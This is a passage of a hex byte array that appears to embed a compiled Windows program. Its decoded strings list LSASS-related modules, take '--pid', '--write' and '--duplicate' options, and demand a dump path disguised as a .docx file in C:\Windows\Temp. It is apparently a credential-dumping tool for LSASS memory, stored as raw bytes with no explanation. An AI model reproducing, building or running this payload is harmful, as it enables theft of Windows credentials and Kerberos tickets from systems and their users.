0x65,0x00,0x72,0x00,0x6F,0x00,0x73,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6C,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x64,0x00,0x70,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6B,0x00,0x64,0x00,0x63,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x64,0x00,0x62,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x73,0x00,0x61,0x00,0x6D,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x72,0x00,0x73,0x00,0x61,0x00,0x65,0x00,0x6E,0x00,0x68,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6E,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6E,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x70,0x00,0x72,0x00,0x6F,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x65,0x00,0x76,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x6C,0x00,0x6F,0x00,0x67,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x77,0x00,0x65,0x00,0x76,0x00,0x74,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x6D,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x63,0x00,0x6C,0x00,0x6F,0x00,0x75,0x00,0x64,0x00,0x61,0x00,0x70,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x53,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x2D,0x00,0x76,0x00,0x00,0x00,0x2D,0x00,0x2D,0x00,0x76,0x00,0x61,0x00,0x6C,0x00,0x69,0x00,0x64,0x00,0x00,0x00,0x2D,0x00,0x77,0x00,0x00,0x00,0x2D,0x00,0x2D,0x00,0x77,0x00,0x72,0x00,0x69,0x00,0x74,0x00,0x65,0x00,0x00,0x00,0x6D,0x69,0x73,0x73,0x69,0x6E,0x67,0x20,0x2D,0x2D,0x77,0x72,0x69,0x74,0x65,0x20,0x76,0x61,0x6C,0x75,0x65,0x00,0x0A,0x00,0x2D,0x00,0x70,0x00,0x00,0x00,0x2D,0x00,0x2D,0x00,0x70,0x00,0x69,0x00,0x64,0x00,0x00,0x00,0x6D,0x69,0x73,0x73,0x69,0x6E,0x67,0x20,0x2D,0x2D,0x70,0x69,0x64,0x20,0x76,0x61,0x6C,0x75,0x65,0x00,0x2D,0x00,0x64,0x00,0x00,0x00,0x2D,0x00,0x2D,0x00,0x64,0x00,0x75,0x00,0x70,0x00,0x6C,0x00,0x69,0x00,0x63,0x00,0x61,0x00,0x74,0x00,0x65,0x00,0x00,0x00,0x69,0x6E,0x76,0x61,0x6C,0x69,0x64,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x3A,0x20,0x25,0x73,0x00,0x00,0x59,0x6F,0x75,0x20,0x6D,0x75,0x73,0x74,0x20,0x70,0x72,0x6F,0x76,0x69,0x64,0x65,0x20,0x74,0x68,0x65,0x20,0x64,0x75,0x6D,0x70,0x20,0x66,0x69,0x6C,0x65,0x3A,0x20,0x2D,0x2D,0x77,0x72,0x69,0x74,0x65,0x20,0x43,0x3A,0x5C,0x57,0x69,0x6E,0x64,0x6F,0x77,0x73,0x5C,0x54,0x65,0x6D,0x70,0x5C,0x64,0x6F,0x63,0x2E,0x64,0x6F,0x63,0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0xDF,0xC5,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0xC6,0xCA,0x01,0x00,0x00,0x00,0x08,0xB0,0xC6,0xCA,0x01,0x00,0x00,0x00,0xCC,0x72,0xC6,0xCA,0x01,0x00,0x00,0x00,0x30,0xA0,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4D,0x69,0x6E,0x67,0x77,0x2D,0x77,0x36,0x34,0x20,0x72,0x75,0x6E,0x74,0x69,0x6D,0x65,0x20,0x66,0x61,0x69,0x6C,0x75,0x72,0x65,0x3A,0x0A,0x00,0x00,0x00,0x00,0x00,0x41,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x25,0x70,0x20,0x68,0x61,0x73,0x20,0x6E,0x6F,0x20,0x69,0x6D,0x61,0x67,0x65,0x2D,0x73,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x20,0x20,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x51,0x75,0x65,0x72,0x79,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x25,0x64,0x20,0x62,0x79,0x74,0x65,0x73,0x20,0x61,0x74,0x20,0x61,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x25,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,0x20,0x63,0x6F,0x64,0x65,0x20,0x30,0x78,0x25,0x78,0x00,0x00,0x20,0x20,0x55,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x70,0x72,0x6F,0x74,0x6F,0x63,0x6F,0x6C,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x20,0x25,0x64,0x2E,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x55,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x62,0x69,0x74,0x20,0x73,0x69,0x7A,0x65,0x20,0x25,0x64,0x2E,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x25,0x64,0x20,0x62,0x69,0x74,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x61,0x74,0x20,0x25,0x70,0x20,0x6F,0x75,0x74,0x20,0x6F,0x66,0x20,0x72,0x61,0x6E,0x67,0x65,0x2C,0x20,0x74,0x61,0x72,0x67,0x65,0x74,0x69,0x6E,0x67,0x20,0x25,0x70,0x2C,0x20,0x79,0x69,0x65,0x6C,0x64,0x69,0x6E,0x67,0x20,0x74,0x68,0x65,0x20,0x76,0x61,0x6C,0x75,0x65,0x20,0x25,0x70,0x2E,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x6D,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x72,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x76,0x73,0x70,0x72,0x69,0x6E,0x74,0x66,0x5F,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xF1,0xC5,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x24,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x24,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x1D,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC5,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD0,0x72,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x24,0x00,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x72,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x72,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0xA0,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0xA0,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0xA0,0xC6,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x0C,0x10,0x00,0x00,0x00,0x40,0x01,0x00,0x10,0x10,0x00,0x00,0xDF,0x11,0x00,0x00,0x04,0x40,0x01,0x00,0xE0,0x11,0x00,0x00,0x3C,0x13,0x00,0x00,0x1C,0x40,0x01,0x00,0x40,0x13,0x00,0x00,0x52,0x13,0x00,0x00,0x30,0x40,0x01,0x00,0x60,0x13,0x00,0x00,0x6F,0x13,0x00,0x00,0x34,0x40,0x01,0x00,0x70,0x13,0x00,0x00,0x7C,0x13,0x00,0x00,0x38,0x40,0x01,0x00,0x80,0x13,0x00,0x00,0x81,0x13,0x00,0x00,0x3C,0x40,0x01,0x00,0x90,0x13,0x00,0x00,0xF1,0x13,0x00,0x00,0x40,0x40,0x01,0x00,0xF1,0x13,0x00,0x00,0x42,0x16,0x00,0x00,0x4C,0x40,0x01,0x00,0x42,0x16,0x00,0x00,0x99,0x16,0x00,0x00,0x58,0x40,0x01,0x00,0x99,0x16,0x00,0x00,0x13,0x17,0x00,0x00,0x60,0x40,0x01,0x00,0x13,0x17,0x00,0x00,0x39,0x18,0x00,0x00,0x6C,0x40,0x01,0x00,0x39,0x18,0x00,0x00,0x0A,0x19,0x00,0x00,0x78,0x40,0x01,0x00,0x0A,0x19,0x00,0x00,0x33,0x1A,0x00,0x00,0x84,0x40,0x01,0x00,0x33,0x1A,0x00,0x00,0xED,0x1C,0x00,0x00,0x90,0x40,0x01,0x00,0xED,0x1C,0x00,0x00,0x75,0x20,0x00,0x00,0x9C,0x40,0x01,0x00,0x75,0x20,0x00,0x00,0x12,0x21,0x00,0x00,0xA8,0x40,0x01,0x00,0x12,0x21,0x00,0x00,0xB7,0x21,0x00,0x00,0xB4,0x40,0x01,0x00,0xB7,0x21,0x00,0x00,0xEC,0x21,0x00,0x00,0xC0,0x40,0x01,0x00,0xEC,0x21,0x00,0x00,0x66,0x25,0x00,0x00,0xC8,0x40,0x01,0x00,0x66,0x25,0x00,0x00,0x6E,0x25,0x00,0x00,0xD4,0x40,0x01,0x00,0x6E,0x25,0x00,0x00,0x77,0x25,0x00,0x00,0xD8,0x40,0x01,0x00,0x77,0x25,0x00,0x00,0x3B,0x26,0x00,0x00,0xDC,0x40,0x01,0x00,0x3B,0x26,0x00,0x00,0x65,0x27,0x00,0x00,0xE8,0x40,0x01,0x00,0x65,0x27,0x00,0x00,0x72,0x27,0x00,0x00,0xF4,0x40,0x01,0x00,0x72,0x27,0x00,0x00,0x07,0x2D,0x00,0x00,0xF8,0x40,0x01,0x00,0x07,0x2D,0x00,0x00,0xD5,0x2D,0x00,0x00,0x08,0x41,0x01,0x00,0xD5,0x2D,0x00,0x00,0xD9,0x30,0x00,0x00,0x0C,0x41,0x01,0x00,0xD9,0x30,0x00,0x00,0x16,0x33,0x00,0x00,0x1C,0x41,0x01,0x00,0x20,0x33,0x00,0x00,0x87,0x33,0x00,0x00,0x28,0x41,0x01,0x00,0x87,0x33,0x00,0x00,0x3B,0x34,0x00,0x00,0x34,0x41,0x01,0x00,0x3B,0x34,0x00,0x00,0x12,0x35,0x00,0x00,0x40,0x41,0x01,0x00,0x12,0x35,0x00,0x00,0x81,0x35,0x00,0x00,0x4C,0x41,0x01,0x00,0x81,0x35,0x00,0x00,0xF2,0x36,0x00,0x00,0x50,0x41,0x01,0x00,0xF2,0x36,0x00,0x00,0x1C,0x38,0x00,0x00,0x60,0x41,0x01,0x00,0x20,0x38,0x00,0x00,0x69,0x38,0x00,0x00,0x70,0x41,0x01,0x00,0x69,0x38,0x00,0x00,0xC1,0x39,0x00,0x00,0x7C,0x41,0x01,0x00,0xC1,0x39,0x00,0x00,0xB0,0x3A,0x00,0x00,0x88,0x41,0x01,0x00,0xB0,0x3A,0x00,0x00,0x15,0x3C,0x00,0x00,0x94,0x41,0x01,0x00,0x15,0x3C,0x00,0x00,0x84,0x3E,0x00,0x00,0xA0,0x41,0x01,0x00,0x84,0x3E,0x00,0x00,0x96,0x3F,0x00,0x00,0xAC,0x41,0x01,0x00,0x96,0x3F,0x00,0x00,0xB9,0x46,0x00,0x00,0xB8,0x41,0x01,0x00,0xC0,0x46,0x00,0x00,0xFA,0x47,0x00,0x00,0xC8,0x41,0x01,0x00,0x00,0x48,0x00,0x00,0xC3,0x48,0x00,0x00,0xD4,0x41,0x01,0x00,0xC3,0x48,0x00,0x00,0x4D,0x4C,0x00,0x00,0xE0,0x41,0x01,0x00,0x50,0x4C,0x00,0x00,0x72,0x4C,0x00,0x00,0xEC,0x41,0x01,0x00,0x72,0x4C,0x00,0x00,0x74,0x4D,0x00,0x00,0xF8,0x41,0x01,0x00,0x74,0x4D,0x00,0x00,0x00,0x4E,0x00,0x00,0x04,0x42,0x01,0x00,0x00,0x4E,0x00,0x00,0x72,0x4E,0x00,0x00,0x10,0x42,0x01,0x00,0x72,0x4E,0x00,0x00,0x12,0x52,0x00,0x00,0x1C,0x42,0x01,0x00,0x12,0x52,0x00,0x00,0xAB,0x52,0x00,0x00,0x2C,0x42,0x01,0x00,0xAB,0x52,0x00,0x00,0xB0,0x53,0x00,0x00,0x38,0x42,0x01,0x00,0xB0,0x53,0x00,0x00,0xEF,0x53,0x00,0x00,0x44,0x42,0x01,0x00,0xEF,0x53,0x00,0x00,0xE4,0x55,0x00,0x00,0x50,0x42,0x01,0x00,0xE4,0x55,0x00,0x00,0x13,0x57,0x00,0x00,0x5C,0x42,0x01,0x00,0x13,0x57,0x00,0x00,0x08,0x58,0x00,0x00,0x68,0x42,0x01,0x00,0x08,0x58,0x00,0x00,0xB7,0x59,0x00,0x00,0x78,0x42,0x01,0x00,0xB7,0x59,0x00,0x00,0x52,0x5B,0x00,0x00,0x88,0x42,0x01,0x00,0x52,0x5B,0x00,0x00,0xB9,0x5B,0x00,0x00,0x98,0x42,0x01,0x00,0xB9,0x5B,0x00,0x00,0x87,0x5C,0x00,0x00,0xA4,0x42,0x01,0x00,0x87,0x5C,0x00,0x00,0xE5,0x5C,0x00,0x00,0xB0,0x42,0x01,0x00,0xE5,0x5C,0x00,0x00,0xF4,0x5C,0x00,0x00,0xBC,0x42,0x01,0x00,0xF4,0x5C,0x00,0x00,0x5F,0x5D,0x00,0x00,0xC4,0x42,0x01,0x00,0x5F,0x5D,0x00,0x00,0xD0,0x5E,0x00,0x00,0xD0,0x42,0x01,0x00,0xD0,0x5E,0x00,0x00,0x0E,0x5F,0x00,0x00,0xDC,0x42,0x01,0x00,0x0E,0x5F